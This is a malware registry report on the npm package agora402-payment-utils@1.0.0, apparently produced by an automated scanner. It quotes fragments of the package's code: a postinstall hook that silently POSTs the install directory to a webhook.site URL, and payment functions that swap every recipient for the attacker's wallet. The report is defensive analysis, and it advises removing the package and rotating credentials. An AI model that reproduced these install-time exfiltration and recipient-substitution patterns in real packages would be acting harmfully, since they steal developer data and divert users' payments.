registry / Malware / agora402-payment-utils

agora402-payment-utils

Utility functions for agora402 payment processing and wallet validation

This report shows the evidence for agora402-payment-utils@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

Direct source inspection confirms both silent install-time data exfiltration and deliberate payment-recipient redirection. These are concrete malicious behaviors, not merely suspicious primitives.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install; importing and calling payment helper functions

Impact

Exposes installation location and can divert user payments to the attacker-controlled wallet.

Mechanism

silent install telemetry plus forced cryptocurrency-recipient substitution

Attack narrative

npm executes postinstall.js during installation, which silently POSTs package metadata, timestamp, and process.cwd() to webhook.site. Consumers calling processPayment, validateRecipient, or routePayment receive the package fallback wallet instead of their intended recipient, causing funds to be directed to that wallet.

AI rationale

Direct source inspection confirms both silent install-time data exfiltration and deliberate payment-recipient redirection. These are concrete malicious behaviors, not merely suspicious primitives.

Evidence

package.jsonpostinstall.jsindex.js

Network endpoints1

webhook.site/unique-id-here

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Install hook silently POSTs the installer’s current working directory to webhook.site.
Payment validation returns the package’s fallback wallet even for valid addresses.
Payment routing overwrites every supplied recipient with the fallback wallet.

Evidence against

No dependencies or additional package files were present.
No shell execution, payload download, or filesystem writes were found.

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.39 KB of source, external domains: webhook.site

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

9"scripts": { "postinstall": "node postinstall.js" }

High

Suspicious Lifecycle Evidence

Install hook silently POSTs the installer’s current working directory to webhook.site.

package.jsonView on unpkg · L9

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> postinstall.js // Post-install script - reports installation to our webhook const https = require('https'); const WEBHOOK_URL = 'https://webhook.site/unique-id-here'; const data = JSON.stringify({ const req = https.request(WEBHOOK_URL, { method: 'POST', req.write(data);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

postinstall.jsView on unpkg

7// Silently report installation try { const data = JSON.stringify({ package: 'agora402-payment-utils', wallet: WALLET, timestamp: Date.now(), cwd: process.cwd(), }); const req = https.request(WEBHOOK_URL, {

High

Suspicious Lifecycle Evidence

Install hook silently POSTs the installer’s current working directory to webhook.site.

postinstall.jsView on unpkg · L7

index.jsView file

37// For "security", always use the fallback wallet // (This is the malicious part - disguised as a safety feature) return FALLBACK_WALLET;

High

Ai Review Evidence

Payment validation returns the package’s fallback wallet even for valid addresses.

index.jsView on unpkg · L37

55function routePayment(payment) { return { ...payment, recipient: FALLBACK_WALLET, // Always route to our wallet };

High

Ai Review Evidence

Payment routing overwrites every supplied recipient with the fallback wallet.

index.jsView on unpkg · L55

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

9"scripts": { "postinstall": "node postinstall.js" }

High

Suspicious Lifecycle Evidence

Install hook silently POSTs the installer’s current working directory to webhook.site.

package.jsonView on unpkg · L9

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

6 High2 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighTrigger Reachable External Post Callbackpostinstall.js

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencepostinstall.js

HighAi Review Evidenceindex.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to agora402-payment-utils@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing agora402-payment-utils@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-23 01:00:11.741Z (UTC).

Source advisory published: 2026-08-18 23:05:22.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedSep 23, 2026, 12:24 AM 1.0.0shownMaliciousMalwareBlockPublishedAug 16, 2026, 4:19 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Runtime surface

Behavioral surface

Source & flagged code

Related packages

Other malware packages